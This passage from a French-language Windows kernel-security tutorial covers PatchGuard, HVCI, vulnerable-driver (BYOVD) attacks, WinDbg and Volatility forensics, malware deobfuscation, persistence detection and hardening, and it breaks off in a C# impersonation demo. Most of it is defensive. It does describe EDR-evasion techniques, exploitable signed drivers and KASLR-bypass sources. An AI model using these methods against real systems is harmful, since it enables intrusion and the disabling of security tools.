- SSDT (KeServiceDescriptorTable, KeServiceDescriptorTableShadow)
- GDT (Global Descriptor Table)
- IDT (Interrupt Descriptor Table)
- MSR (Model Specific Registers) — LSTAR, STAR, SYSCALL_MASK
- Pointeurs de fonctions critiques :
  KeBugCheckEx, KiSystemCall64, KiInterruptDispatch
- Code de ntoskrnl.exe (sections .text)
- Code des drivers système critiques

Mécanisme de fonctionnement de PatchGuard :
1. Initialisation aléatoire au démarrage (timer aléatoire, thread DPC)
2. Calcul de checksums sur les structures protégées
3. Vérification périodique et aléatoire (non prévisible)
4. BSOD immédiat si discordance détectée

Méthodes de bypass documentées (toutes patchées) :
- "Disable PatchGuard" (exploit) : CVE-2007-xxx (Vista era)
- Timing attacks via VMM hypervisor (Bluepill concept)
- PatchGuard bypass via Hyper-V (MSR hook) — patchés depuis 2016

Méthode actuelle (légale) pour les éditeurs de sécurité :
- Utiliser EXCLUSIVELY les Kernel Callbacks officiels
- Ne jamais patcher le code noyau ou les structures protégées
- Utiliser HVCI pour une protection renforcée de l'intégrité du code

13. HVCI : Hypervisor-Protected Code Integrity

HVCI (Hypervisor-Protected Code Integrity), également appelé Kernel DMA Protection ou Memory Integrity dans les paramètres Windows, utilise la virtualisation matérielle (Intel VT-x / AMD-V) pour protéger le noyau Windows via un hyperviseur Hyper-V minimaliste.

# Vérifier si HVCI est activé
# Méthode 1 : DeviceGuard
(Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning
# 2 = Hypervisor Protected Code Integrity activé

# Méthode 2 : Registre
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" |
  Select-Object Enabled, WasEnabledBy

# Méthode 3 : msinfo32 → System Summary → "Virtualization-based security"

# Impact de HVCI sur les techniques d'exploitation noyau :
# 1. Mémoire noyau exécutable UNIQUEMENT si signée par Microsoft (via VTL1)
# 2. WX (Write+Execute) impossible dans le noyau — fin de l'exploitation classique
# 3. Shellcode noyau injecté = Non exécutable = Crash

# Drivers ciblés par les attaquants pour contourner HVCI :
# BYOVD (Bring Your Own Vulnerable Driver)
# Technique : charger un driver légitime signé mais vulnérable
# pour obtenir une primitive d'écriture noyau
# Exemple : CVE-2021-21551 (Dell DBUtil) — utilisé par plusieurs APT

# LOLDrivers database : https://www.loldrivers.io
# Inventaire des drivers vulnérables connus signés par des éditeurs légitimes

14. BYOVD : Bring Your Own Vulnerable Driver

La technique BYOVD (Bring Your Own Vulnerable Driver) consiste pour un attaquant à charger un driver légitime mais vulnérable pour obtenir une exécution arbitraire en noyau et contourner HVCI ou désactiver les solutions de sécurité.

Drivers vulnérables notoires utilisés dans des attaques réelles :

CVE-2021-21551 — Dell DBUtil (dbutil_2_3.sys)
  Vecteur : Écriture arbitraire en mémoire noyau via IOCTL
  Utilisé par : UNC2596 (BlackMatter ransomware), AvosLocker
  Signature : Dell Technologies, Inc.

CVE-2022-3699 — Lenovo ImController (LenovoImc.sys)
  Vecteur : Élévation de privilèges locale
  CVSS : 7.3

MSI Afterburner / RTCore64.sys (CVE-2019-16098)
  Vecteur : Lecture/écriture mémoire noyau arbitraire
  Utilisé par : BlackByte ransomware, Lazarus Group

gdrv.sys (GIGABYTE driver)
  Vecteur : MSR read/write, physique memory access
  Utilisé par : Nombreux groupes APT

Mitigation BYOVD (Microsoft) :
- Liste de blocage HVCI (blocklist) mise à jour régulièrement
- Windows Defender Credential Guard bloque accès LSASS
- Microsoft Vulnerable Driver Blocklist (WDAC policy)
  Activé par défaut sur Windows 11 avec HVCI
  Mise à jour via Windows Update
  Configurable via : Settings > Windows Security > Device Security > Core isolation

15. Analyse de malware noyau avec WinDbg

// Session WinDbg kernel debugging complète
// Connexion via réseau (plus moderne que série) :

// Machine cible (VM) — activer le debug noyau
bcdedit /debug on
bcdedit /dbgsettings net hostip:192.168.1.10 port:50000 key:abc.def.ghi.jkl

// Machine d'analyse — WinDbg
windbg -k net:port=50000, key=abc.def.ghi.jkl

// Commandes WinDbg essentielles pour l'analyse noyau

// Lister tous les processus (comme TaskManager noyau)
!process 0 0

// Inspecter un processus suspect
!process 0 7 malware.exe

// Chercher des drivers non signés
lm
// Puis vérifier la signature :
!lmi 

// Détecter les hooks SSDT (comparaison avec les exports ntoskrnl)
// Extension : nt!KeServiceDescriptorTable
x nt!KiServiceTable
dd nt!KiServiceTable L100

// Analyser les callbacks enregistrés
!pscallbacks           // Callbacks process/thread
!obcallbacks           // Object Manager callbacks

// Détecter les rootkits via la liste EPROCESS
// Comparer la liste ActiveProcessLinks avec la liste du Task Manager
!process 0 0 | findstr "PROCESS"

// Dump mémoire d'un processus suspect
.dump /ma /u C:\dumps\malware_proc.dmp

// Analyse d'un crash dump après BSOD
// Ouvrir le minidump : File > Open Crash Dump
!analyze -v
!thread
!stack

16. Kernel Exploitation : CVE-2024-21338 (appid.sys)

CVE-2024-21338 est une vulnérabilité d'élévation de privilèges dans le driver Windows Kernel AppContainer (appid.sys) utilisée dans des attaques réelles par le groupe Lazarus (Corée du Nord) pour désactiver les EDR et obtenir des privilèges SYSTEM.

CVE-2024-21338 — Analyse technique :

Driver affecté : appid.sys (AppID Policy Driver)
Type : Use-After-Free (UAF) dans le traitement des IOCTL
CVSS : 7.8 (Local Privilege Escalation)
Patch : MS24-FEB (KB5034441)

Mécanisme d'exploitation :
1. Le driver appid.sys expose un DeviceIoControl IOCTL
2. UAF dans la gestion des objets AppID policy
3. L'exploitation du UAF donne une primitive d'écriture arbitraire noyau
4. Écriture dans la table de callbacks pour désactiver le monitoring EDR
5. Token stealing pour obtenir SYSTEM

Indicateurs de compromission (IoC) :
- Chargement de drivers avec signatures expirées via wbntdrv.sys
- Processus System (PID 4) avec handles inhabituels
- Entrées suspectes dans les callbacks noyau (via !pscallbacks WinDbg)
- Gaps dans la ActiveProcessLinks (processus cachés)

Détection :
- ETW Microsoft-Windows-Security-Auditing Event 4688 (process creation)
- Kernel ETW : driver load events
- Surveillance des IOCTLs via Windows Driver Verifier
- Sysmon Event ID 6 : Driver loaded (avec vérification signature)

17. Protected Process Light (PPL) : isolation des processus critiques

Le mécanisme PPL (Protected Process Light) permet à Windows de protéger certains processus critiques (lsass.exe, antivirus, Windows Defender) contre l'injection de code, la lecture de mémoire et la terminaison par des processus non-protégés, même administrateurs.

// Vérifier le niveau PPL d'un processus (user mode)
#include <windows.h>
#include <winternl.h>

// ProcessProtectionInformation (non documenté mais stable)
#define ProcessProtectionInformation 61

typedef struct _PS_PROTECTION {
    union {
        UCHAR Level;
        struct {
            UCHAR Type   : 3;   // PS_PROTECTED_TYPE
            UCHAR Audit  : 1;
            UCHAR Signer : 4;   // PS_PROTECTED_SIGNER
        };
    };
} PS_PROTECTION;

// Types de protection
// PsProtectedTypeNone    = 0
// PsProtectedTypeProtectedLight = 1  (PPL)
// PsProtectedTypeProtected      = 2  (PP — plus fort)

// Signataires (Signer) :
// PsProtectedSignerNone         = 0
// PsProtectedSignerAuthenticode = 1
// PsProtectedSignerCodeGen      = 2
// PsProtectedSignerAntimalware  = 3  (AV/EDR)
// PsProtectedSignerLsa          = 4  (lsass.exe)
// PsProtectedSignerWindows      = 5
// PsProtectedSignerWinTcb       = 6  (services critiques Windows)
// PsProtectedSignerWinSystem    = 7

void CheckProcessProtection(DWORD pid) {
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
    if (!hProcess) return;

    PS_PROTECTION protection = {0};
    ULONG returnLength = 0;

    typedef NTSTATUS (NTAPI* NtQIP_t)(HANDLE, ULONG, PVOID, ULONG, PULONG);
    NtQIP_t NtQueryInformationProcess = (NtQIP_t)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");

    NtQueryInformationProcess(hProcess, ProcessProtectionInformation,
        &protection, sizeof(protection), &returnLength);
    CloseHandle(hProcess);

    const char* types[] = {"None", "PPL", "PP"};
    const char* signers[] = {"None", "Authenticode", "CodeGen",
        "Antimalware", "Lsa", "Windows", "WinTcb", "WinSystem"};

    printf("PID %d: Type=%s, Signer=%s\n",
        pid,
        types[protection.Type < 3 ? protection.Type : 0],
        signers[protection.Signer < 8 ? protection.Signer : 0]);
}

18. Détection des techniques d'évasion EDR

# Détecter les techniques d'évasion courantes via PowerShell/ETW

# 1. Détecter le Direct Syscall (bypass API Hooking)
# Les malwares modernes appellent directement les fonctions noyau via SYSCALL
# sans passer par ntdll.dll (où les EDR placent leurs hooks)
# Détection : ETW Microsoft-Windows-Threat-Intelligence
# Event ID 8 : Suspicious NTDLL usage pattern

# 2. Détecter l'unhooking de ntdll
# Technique : récharger ntdll.dll depuis disk pour supprimer les hooks mémoire
# Détection : Sysmon Event ID 7 (Image loaded) — ntdll.dll rechargé depuis disk

# 3. Détecter le process hollowing
# Détection via ETW : discordance entre le path du processus et le PE chargé
Get-WinEvent -FilterHashtable @{
    ProviderName = "Microsoft-Windows-Sysmon"
    Id = 25  # Process tampering
} | Select-Object TimeCreated, Message | Format-List

# 4. Détecter les drivers chargés non signés ou avec signatures révoquées
# Sysmon Event ID 6 : Driver loaded
Get-WinEvent -FilterHashtable @{
    ProviderName = "Microsoft-Windows-Sysmon"
    Id = 6
} | Where-Object { $_.Message -match "false" } | Select-Object TimeCreated, Message

# 5. Analyser les DLLs chargées pour détecter les injection techniques
# Process Hacker (open source) — alternative graphique à WinDbg user mode
# autoruns.exe (Sysinternals) — détecter les persistances
Get-WinEvent -FilterHashtable @{
    ProviderName = "Microsoft-Windows-CodeIntegrity"
    Id = 3001, 3002, 3003  # Code Integrity violations
} | Format-List

19. Analyse de mémoire post-mortem avec Volatility

# Volatility 3 pour l'analyse des dumps mémoire Windows
pip3 install volatility3

# Identifier le profil du dump
python3 vol.py -f memory.dmp windows.info

# Lister tous les processus (y compris les processus cachés par rootkits)
# pslist : utilise la liste ActiveProcessLinks (peut être manipulée)
python3 vol.py -f memory.dmp windows.pslist

# pstree : arbre des processus
python3 vol.py -f memory.dmp windows.pstree

# psscan : scan direct de la mémoire (plus fiable contre les rootkits)
# Recherche les signatures EPROCESS dans tout l'espace d'adressage noyau
python3 vol.py -f memory.dmp windows.psscan

# Comparer pslist et psscan pour détecter les processus cachés
python3 vol.py -f memory.dmp windows.pslist > pslist.txt
python3 vol.py -f memory.dmp windows.psscan > psscan.txt
diff pslist.txt psscan.txt

# Analyser les DLLs chargées dans un processus
python3 vol.py -f memory.dmp windows.dlllist --pid 1234

# Détecter les shellcodes en mémoire (memory segments RWX)
python3 vol.py -f memory.dmp windows.malfind

# Extraire un exécutable depuis la mémoire (pour analyse statique)
python3 vol.py -f memory.dmp windows.dumpfiles --pid 1234

# Analyser les connexions réseau actives au moment du dump
python3 vol.py -f memory.dmp windows.netstat

# Analyser les handles ouverts par un processus suspect
python3 vol.py -f memory.dmp windows.handles --pid 1234

# Détecter les hooks SSDT (Volatility 2 uniquement)
# python3 vol.py -f memory.dmp ssdt
Sécurité défensive : Pour protéger les endpoints Windows contre les attaques noyau : activer HVCI (Memory Integrity) dans les paramètres Windows Security, activer Secure Boot et TPM 2.0, déployer Credential Guard pour protéger lsass.exe en PPL, maintenir la liste de blocage des drivers vulnérables (Microsoft Vulnerable Driver Blocklist) à jour, et surveiller les chargements de drivers via Sysmon (Event ID 6).

20. Hardening Windows contre les attaques noyau

# Activation des protections noyau Windows — PowerShell admin

# 1. Activer HVCI (Memory Integrity)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" `
  -Name "Enabled" -Value 1 -Type DWord

# 2. Activer Credential Guard (protège NTLM hashes, Kerberos tickets)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" `
  -Name "EnableVirtualizationBasedSecurity" -Value 1 -Type DWord
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
  -Name "LsaCfgFlags" -Value 1 -Type DWord

# 3. Configurer lsass.exe en Protected Process Light (PPL)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
  -Name "RunAsPPL" -Value 1 -Type DWord

# 4. Désactiver le chargement de drivers non signés
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Config" `
  -Name "VulnerableDriverBlocklistEnable" -Value 1 -Type DWord

# 5. Activer Windows Defender Application Control (WDAC)
# Créer une politique qui bloque les drivers vulnérables connus
New-CIPolicy -Level Publisher -ScanPath "C:\Windows\System32\drivers\" `
  -FilePath "C:\WDAC\BasePolicy.xml" -UserPEs

# 6. Activer l'audit des chargements de drivers (Event ID 3001-3004)
auditpol /set /subcategory:"Driver Verifier" /success:enable /failure:enable

# 7. Sysmon — configuration minimale pour la sécurité noyau
# Sysmon Event ID 6 : Driver loaded (avec vérification des signatures)
# Déployer la configuration Sysmon de SwiftOnSecurity
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml" `
  -OutFile "C:\sysmon-config.xml"
sysmon64.exe -accepteula -i "C:\sysmon-config.xml"

FAQ — Questions sur Windows Internals et l'exploitation noyau

Comment apprendre Windows Internals sans risquer de crasher son système ?

La méthode la plus sûre est de travailler exclusivement sur des machines virtuelles (VMware ou Hyper-V) avec un snapshot propre avant chaque test. Configurer une session de kernel debugging réseau entre la VM (debug target) et la machine hôte (WinDbg) permet d'analyser et de reprendre après chaque BSOD. Les livres "Windows Internals" de Mark Russinovich (Microsoft Press) en 7 volumes constituent la référence absolue. Les labs pratiques de SSTIC, de l'école Hack In The Box et de la formation Recon Montréal offrent des environnements sécurisés.

PatchGuard peut-il être contourné sur Windows 11 avec HVCI activé ?

La combinaison PatchGuard + HVCI représente l'état de l'art de la protection noyau Windows. HVCI rend les bypass de PatchGuard quasi-impossibles car même si un attaquant trouve un moyen de tromper PatchGuard momentanément, l'exécution de code noyau non signé est physiquement bloquée par le Hypervisor (VTL1) au niveau du matériel. Les seuls vecteurs restants sont les BYOVD (drivers signés mais vulnérables) et les vulnérabilités dans l'hyperviseur Hyper-V lui-même — une surface d'attaque beaucoup plus réduite.

Quelle est la différence entre un token d'impersonation et un token primaire ?

Un token primaire est associé à un processus entier et définit son contexte de sécurité de base. Un token d'impersonation est associé à un thread spécifique et permet à ce thread d'agir temporairement avec les privilèges d'un autre utilisateur (par exemple, un serveur qui impersonne son client). L'impersonation peut être au niveau SecurityIdentification (inspection seulement), SecurityImpersonation (accès local), ou SecurityDelegation (accès réseau). La fonction Windows ImpersonateLoggedOnUser() crée un token d'impersonation à partir d'un token primaire.

Comment un EDR installe-t-il ses hooks dans ntdll.dll et comment les malwares les contournent-ils ?

Un EDR positionne ses hooks en remplaçant les premiers bytes de fonctions clés dans ntdll.dll (en mémoire) par un JMP vers ses propres fonctions d'inspection. Les malwares modernes contournent cela via : (1) Direct Syscalls — appel direct de l'instruction SYSCALL avec le bon numéro SSN sans passer par ntdll, (2) ntdll unhooking — rechargement de ntdll depuis le disk Windows (version non modifiée), (3) Heaven's Gate sur les processus WoW64 — passage direct en mode 64-bit depuis un processus 32-bit, (4) Indirect Syscalls — utilisation de l'adresse SYSCALL dans ntdll mais avec son propre cadre de pile. Les EDR modernes répondent en instrumentant ETW-TI (ETW Threat Intelligence) au niveau noyau, non contournable depuis le mode utilisateur.

Comment fonctionne le mécanisme KASLR sur Windows et comment les exploits le contournent-ils ?

KASLR (Kernel Address Space Layout Randomization) randomise l'adresse de base de ntoskrnl.exe et des autres composants noyau au démarrage. Sur Windows, la randomisation est de 256 positions possibles (8 bits), ce qui est beaucoup plus faible que Linux (36 bits). Les techniques de bypass KASLR incluent : fuites d'adresses via NtQuerySystemInformation (certaines classes retournent des adresses noyau — patchées progressivement par Microsoft), fuites via les handles (SYSTEM_HANDLE_INFORMATION retourne des pointeurs noyau), et les side-channel attacks (Spectre/Meltdown). Windows 11 a renforcé KASLR mais l'entropie reste limitée.

Qu'est-ce que l'Object Manager et comment est-il exploitable ?

L'Object Manager Windows est le composant du noyau qui gère les objets typés (processus, threads, fichiers, sections, événements, mutexes, etc.) via un espace de noms hiérarchique (\, \Device\, \ObjectTypes\). Chaque type d'objet a un _OBJECT_TYPE avec des callbacks (CloseProcedure, DeleteProcedure). Historiquement, corrompre le pointeur TypeIndex dans un objet (pool corruption) permettait de rediriger l'exécution vers un callback malveillant lors de la fermeture de l'objet. Microsoft a mitigation ce vecteur avec l'encodage XOR du TypeIndex avec un cookie aléatoire depuis Windows 10.

Comment analyser un rootkit noyau avec Volatility lorsque la liste des processus est masquée ?

La technique DKOM (Direct Kernel Object Manipulation) permet à un rootkit de se cacher en retirant son entrée de la liste ActiveProcessLinks du processus. Volatility répond avec windows.psscan qui scanne directement la mémoire physique à la recherche de signatures EPROCESS (magic bytes, pool tags) sans se fier à la liste chaînée potentiellement compromise. La comparaison entre pslist et psscan révèle les processus cachés. D'autres techniques incluent l'analyse des ThreadListHead dans chaque EPROCESS pour trouver des threads orphelins, et l'analyse des sockets réseau via windows.netstat qui peut révéler des connexions de processus prétendument inexistants.

Quelle formation ou certification recommandez-vous pour devenir expert en Windows Kernel Security ?

La progression recommandée : (1) Windows Internals 7e édition (Russinovich/Ionescu) — la bible, (2) Practical Malware Analysis (Sikorski/Honig) pour l'analyse, (3) Cours SANS FOR610 (Reverse Engineering Malware) et SEC660 (Advanced Exploitation), (4) OSEE (Offensive Security Experienced Expert) — l'une des certifications les plus difficiles au monde, couvrant l'exploitation noyau Windows et Linux, (5) Labs pratiques : HackSys Extreme Vulnerable Driver (HEVD) pour pratiquer l'exploitation de drivers, RingZer0 pour les challenges kernel, et les challenges Pwn2Own Historical. La communauté j00ru (Gynvael Coldwind) et le blog Project Zero de Google sont des ressources inestimables.

Pour compléter votre compréhension des mécanismes de sécurité Windows, consultez notre guide sur la sécurité Active Directory qui couvre Kerberos et NTLM en détail. Les techniques de contournement d'antivirus présentées dans notre article sur l'évasion d'antivirus s'appuient sur les structures étudiées ici. Pour la réponse aux incidents, notre guide sur la forensique Windows détaille l'utilisation de Volatility en contexte d'incident. Les techniques de mouvement latéral qui exploitent les tokens Windows sont couvertes dans notre article sur le lateral movement. Enfin, la sécurisation des drivers est approfondie dans notre analyse de l'EDR et les techniques de bypass.

Références : MITRE ATT&CK for Windows et Windows Kernel Driver Documentation (Microsoft).

21. Analyse de malware avec x64dbg et WinDbg

L'analyse dynamique de malwares Windows nécessite des outils de débogage spécialisés. x64dbg est le débogueur user-mode de référence open source, tandis que WinDbg couvre le kernel debugging. Leur maîtrise est fondamentale pour comprendre les mécanismes d'exploitation et de persistance.

// Workflow d'analyse dynamique avec x64dbg

// 1. Préparer le sandbox
// - VM Windows isolée (aucune connexion réseau, snapshots)
// - x64dbg + plugins : ScyllaHide (anti anti-debug), x64dbgpy (scripting Python)
// - FakeNet-NG ou INetSim pour simuler le réseau
// - Process Monitor + Process Hacker pour le monitoring système

// 2. Charger le sample dans x64dbg
// File > Open > suspicious_sample.exe

// 3. Breakpoints stratégiques initiaux
// Ces fonctions sont universellement utilisées par les malwares :
bp VirtualAlloc       // Allocation mémoire exécutable
bp VirtualAllocEx     // Allocation dans autre processus (injection)
bp WriteProcessMemory // Écriture dans autre processus
bp CreateRemoteThread // Exécution dans autre processus
bp NtCreateThreadEx   // Alternative low-level à CreateRemoteThread
bp LoadLibraryA       // Chargement de DLL (souvent obfusquée)
bp CreateProcessA     // Création de processus enfant
bp RegSetValueExA     // Persistance dans le registre
bp WinExec            // Exécution de commandes
bp ShellExecuteA      // Exécution via shell
bp InternetOpenA      // Connexion réseau (WinINet)
bp WSAConnect         // Connexion socket

// 4. Technique : trouver le point d'entrée réel (OEP)
// Pour les packers (UPX, MPRESS) :
// Exécuter jusqu'à VirtualAlloc, noter l'adresse retournée
// Mettre un hardware breakpoint sur l'adresse allouée (exécution)
// bp  (exécution hardware) → L'OEP apparaît quand le code dépacké s'exécute

// 5. Analyser les strings obfusquées
// Les malwares modernes déchiffrent les strings au runtime
// Breakpoint sur les fonctions de déchiffrement :
// - XOR en boucle → chercher les patterns "xor reg, imm" dans le désassemblage
// - Chercher les appels à sub_xxx qui retournent des strings ASCII

// 6. Script x64dbgpy pour logging automatique
# Script x64dbgpy — Logging automatique des appels API
# Sauvegarde dans /tmp/api_calls.log

import x64dbgpy
import time

log_file = open("/tmp/api_calls.log", "w")

def log_api_call(api_name):
    """Callback appelé à chaque breakpoint API."""
    regs = x64dbgpy.GetRegisters()
    # En x64, les arguments sont dans rcx, rdx, r8, r9 puis stack
    arg1 = regs.get('rcx', 0)
    arg2 = regs.get('rdx', 0)

    # Essayer de lire les strings aux adresses
    arg1_str = x64dbgpy.ReadString(arg1) if arg1 else ""
    arg2_str = x64dbgpy.ReadString(arg2) if arg2 else ""

    log_entry = f"{time.strftime('%H:%M:%S')} | {api_name} | rcx=0x{arg1:X} ({arg1_str!r}) | rdx=0x{arg2:X} ({arg2_str!r})\n"
    log_file.write(log_entry)
    print(log_entry.strip())

# Enregistrer les callbacks sur les APIs critiques
apis_to_monitor = [
    ("VirtualAllocEx", lambda: log_api_call("VirtualAllocEx")),
    ("WriteProcessMemory", lambda: log_api_call("WriteProcessMemory")),
    ("CreateRemoteThread", lambda: log_api_call("CreateRemoteThread")),
    ("RegSetValueExA", lambda: log_api_call("RegSetValueExA")),
    ("InternetOpenA", lambda: log_api_call("InternetOpenA")),
]

for api_name, callback in apis_to_monitor:
    try:
        addr = x64dbgpy.GetSymbolAddress(f"kernel32.{api_name}")
        if not addr:
            addr = x64dbgpy.GetSymbolAddress(f"advapi32.{api_name}")
        if addr:
            x64dbgpy.SetBreakpoint(addr, callback)
            print(f"[+] Breakpoint sur {api_name} @ 0x{addr:X}")
    except Exception as e:
        print(f"[-] Erreur sur {api_name}: {e}")

22. Techniques d'obfuscation et de déobfuscation

Les malwares modernes utilisent de nombreuses techniques d'obfuscation pour éviter la détection statique et compliquer l'analyse. La compréhension de ces techniques est essentielle pour les analystes de malwares.

#!/usr/bin/env python3
"""
Déobfuscation de strings malwares courants
Techniques implémentées : XOR simple, XOR rolling, stack strings, base64 personnalisé
"""
import struct
import base64
import re

def decode_xor_string(encoded: bytes, key: bytes) -> str:
    """Décode une string obfusquée par XOR avec clé répétée."""
    decoded = bytes(b ^ key[i % len(key)] for i, b in enumerate(encoded))
    try:
        return decoded.decode('utf-8').rstrip('\x00')
    except:
        return decoded.decode('latin-1').rstrip('\x00')

def decode_rolling_xor(encoded: bytes, start_key: int) -> str:
    """Décode une string obfusquée par XOR rolling (clé = XOR cumulatif)."""
    decoded = bytearray()
    key = start_key
    for byte in encoded:
        decoded.append(byte ^ key)
        key = (key + byte) & 0xFF  # Clé suivante basée sur l'octet chiffré
    return decoded.decode('utf-8', errors='ignore').rstrip('\x00')

def extract_stack_strings(binary_data: bytes) -> list:
    """
    Extrait les stack strings — strings construites caractère par caractère sur la pile.
    Cherche des séquences de MOV instructions chargeant des valeurs ASCII.
    """
    stack_strings = []
    # Pattern : MOV [rbp-xx], 0xYY où 0xYY est un caractère ASCII imprimable
    # Chercher des séquences de MOV avec des valeurs ASCII consécutives
    pattern = re.compile(b'\xc6[\x45\x85][\x00-\xff]{1,4}([\x20-\x7e])')

    current_string = ""
    last_offset = -10

    for match in pattern.finditer(binary_data):
        char = chr(match.group(1)[0])
        offset = match.start()

        if offset - last_offset < 20:  # Instructions consécutives
            current_string += char
        else:
            if len(current_string) >= 4:
                stack_strings.append(current_string)
            current_string = char

        last_offset = offset

    return stack_strings

def analyze_cobalt_strike_beacon(shellcode: bytes) -> dict:
    """
    Analyse un shellcode Cobalt Strike pour extraire la configuration.
    Le beacon CS chiffre sa configuration avec XOR.
    """
    result = {}

    # Chercher le magic bytes de la configuration CS
    CONFIG_MAGIC = b'\x69\x68\x69\x68'  # Bytes caractéristiques
    if CONFIG_MAGIC not in shellcode:
        return result

    cfg_offset = shellcode.index(CONFIG_MAGIC)

    # Déchiffrer avec XOR 0x69 (clé commune dans les beacons CS)
    config_encrypted = shellcode[cfg_offset:cfg_offset+4096]
    config_decrypted = bytes(b ^ 0x69 for b in config_encrypted)

    # Parser les éléments de configuration
    # Type 1 : Port de connexion
    # Type 7 : C2 server
    # Type 8 : URL pattern
    i = 0
    while i < len(config_decrypted) - 4:
        setting_type = struct.unpack('>H', config_decrypted[i:i+2])[0]
        data_type = struct.unpack('>H', config_decrypted[i+2:i+4])[0]
        length = struct.unpack('>H', config_decrypted[i+4:i+6])[0]

        if length == 0 or length > 256:
            i += 2
            continue

        data = config_decrypted[i+6:i+6+length]

        if setting_type == 7 and data_type == 3:  # C2 server
            result['c2_server'] = data.decode('utf-8', errors='ignore').rstrip('\x00')
        elif setting_type == 8 and data_type == 3:  # URL
            result['c2_url'] = data.decode('utf-8', errors='ignore').rstrip('\x00')
        elif setting_type == 2 and data_type == 1:  # Port
            if len(data) >= 2:
                result['port'] = struct.unpack('>H', data[:2])[0]

        i += 6 + length

    return result

# Exemples d'utilisation
if __name__ == "__main__":
    # Décodage XOR simple
    encoded = bytes([0x41, 0x52, 0x4F, 0x52, 0x5A, 0x5A, 0x5C, 0x5E])
    key = b'\x20'
    print(f"XOR decode: {decode_xor_string(encoded, key)}")

    # Stack strings
    with open("suspicious.exe", "rb") as f:
        binary = f.read()
    stack_strs = extract_stack_strings(binary)
    print(f"Stack strings trouvées: {stack_strs}")

23. Persistance dans Windows : mécanismes et détection

La persistance désigne l'ensemble des techniques utilisées par les malwares pour survivre aux redémarrages du système. Windows offre des dizaines de mécanismes de persistance, ce qui en fait un système particulièrement complexe à surveiller.

# Inventaire complet des mécanismes de persistance Windows
# Utilisation de AutoRuns (Sysinternals) en ligne de commande

# 1. Clés de registre RUN
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
# WoW64 (32-bit sur 64-bit)
reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run"

# 2. Services Windows (persistance au niveau système)
Get-WmiObject Win32_Service | Where-Object {
    $_.StartMode -eq 'Auto' -and
    $_.PathName -notlike "*System32*" -and
    $_.PathName -notlike "*SysWOW64*"
} | Select-Object Name, PathName, StartMode, State

# 3. Tâches planifiées (Scheduled Tasks)
Get-ScheduledTask | Where-Object {
    $_.TaskPath -notlike "\Microsoft\*" -and
    $_.State -ne "Disabled"
} | Select-Object TaskName, TaskPath, @{N="Actions";E={$_.Actions.Execute}}

# 4. WMI Event Subscriptions (persistance furtive)
# Très difficile à détecter car invisible dans l'interface graphique
Get-WMIObject -Namespace root\subscription -Class __EventFilter | Select-Object Name, Query
Get-WMIObject -Namespace root\subscription -Class __EventConsumer | Select-Object Name, CommandLineTemplate, ScriptText
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

# 5. DLL Hijacking — DLLs manquantes dans des répertoires contrôlables
# Process Monitor → filtrer "PATH NOT FOUND" pour les DLLs
# Vérifier les DLLs chargées par des applications dans des répertoires writables
$env:PATH -split ";" | Where-Object {
    (Get-Acl $_ -ErrorAction SilentlyContinue).Access |
    Where-Object {$_.IdentityReference -match "Everyone|Users" -and $_.FileSystemRights -match "Write"}
}

# 6. COM Object Hijacking
# Clés HKCU\Software\Classes\CLSID surchargeant HKLM
Get-ItemProperty -Path "HKCU:\SOFTWARE\Classes\CLSID\*" -ErrorAction SilentlyContinue |
    Select-Object PSChildName, "(default)"

# 7. Boot/Pre-OS Persistence
# Vérifier le MBR (utile pour détecter les bootkits)
# En PowerShell admin :
$disk = Get-Disk 0
$mbr_bytes = [System.IO.File]::ReadAllBytes("\\.\PhysicalDrive0") | Select-Object -First 512
[System.BitConverter]::ToString($mbr_bytes[510..511])  # Doit être "55-AA"

# 8. Détection automatisée avec Sysmon (Event IDs de persistance)
# Event ID 13 : RegistryEvent (SetValue) — run keys
# Event ID 12 : RegistryEvent (CreateKey/DeleteKey)
# Event ID 19 : WmiEvent (WmiEventFilter)
# Event ID 21 : WmiEvent (WmiEventConsumerToFilter)
Get-WinEvent -FilterHashtable @{
    ProviderName = "Microsoft-Windows-Sysmon"
    Id = @(13, 19, 20, 21)
    StartTime = (Get-Date).AddDays(-7)
} | Where-Object {$_.Message -notmatch "(Microsoft|Windows|Program Files)"} |
    Format-List TimeCreated, Id, Message

24. Lateral Movement : techniques noyau

/*
 * Implémentation C# des techniques de lateral movement via API Windows
 * À des fins d'éducation et de test de détection — Usage autorisé uniquement
 */
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;

public class LateralMovementDemo {
    // Import des fonctions Win32 nécessaires
    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool LogonUser(string lpszUsername, string lpszDomain,
        string lpszPassword, int dwLogonType, int dwLogonProvider,
        out IntPtr phToken);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool ImpersonateLoggedOnUser(IntPtr hToken);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool RevertToSelf();

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);

    // LOGON32_LOGON_NEW_CREDENTIALS = 9 (pour l'accès réseau uniquement)
    // LOGON32_LOGON_INTERACTIVE = 2 (session locale complète)
    const int LOGON32_LOGON_NEW_CREDENTIALS = 9;
    const int LOGON32_PROVIDER_DEFAULT = 0;

    /*
